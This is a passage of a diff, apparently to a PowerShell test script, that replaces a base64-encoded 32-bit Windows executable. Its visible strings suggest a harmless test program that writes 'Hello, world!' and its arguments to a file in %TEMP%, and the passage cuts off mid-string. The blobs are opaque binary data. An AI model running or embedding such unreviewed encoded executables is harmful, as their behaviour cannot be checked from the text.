ABQlAAAAAAAABCUAAAAAAAD2JAAAAAAAAOgkAAAAAAAAhCUAAAAAAAAAAAAAAAAAAIgAQ3JlYXRlRmlsZUEAIgFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBADQFV3JpdGVGaWxlAEwCR2V0UHJvY0FkZHJlc3MAABsCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAFgBX1hjcHRGaWx0ZXIA8gFfYW1zZ19leGl0AACnAV9fZ2V0bWFpbmFyZ3MAzgFfX3NldF9hcHBfdHlwZQAAGAZleGl0AABYAl9leGl0AAoCX2NleGl0AAAaAl9jb25maWd0aHJlYWRsb2NhbGUA0AFfX3NldHVzZXJtYXRoZXJyAADiAl9pbml0dGVybV9lAOECX2luaXR0ZXJtAFwBX19DX3NwZWNpZmljX2hhbmRsZXIAAKgBX19pbml0ZW52AHgCX2Ztb2RlAAAZAl9jb21tb2RlAAAzAT90ZXJtaW5hdGVAQFlBWFhaAJkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAWwNfbG9jawDHBF91bmxvY2sACQJfY2FsbG9jX2NydACfAV9fZGxsb25leGl0AAIEX29uZXhpdADuAEVuY29kZVBvaW50ZXIAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAywBEZWNvZGVQb2ludGVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+/////////wAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - $Encoded32BitExe = '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' + $Encoded32BitExe = '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